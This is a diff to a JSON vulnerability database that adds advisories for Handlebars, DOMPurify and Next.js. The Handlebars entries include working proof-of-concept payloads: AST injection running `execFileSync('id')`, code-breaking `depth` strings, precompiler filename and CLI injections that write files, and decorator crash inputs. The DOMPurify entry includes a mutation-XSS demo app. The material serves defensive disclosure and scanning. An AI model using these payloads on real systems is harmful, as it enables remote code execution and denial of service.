Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5093,6 +5252,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9206,6 +9381,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9286,6 +9481,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9537,6 +9753,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9617,6 +9853,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + 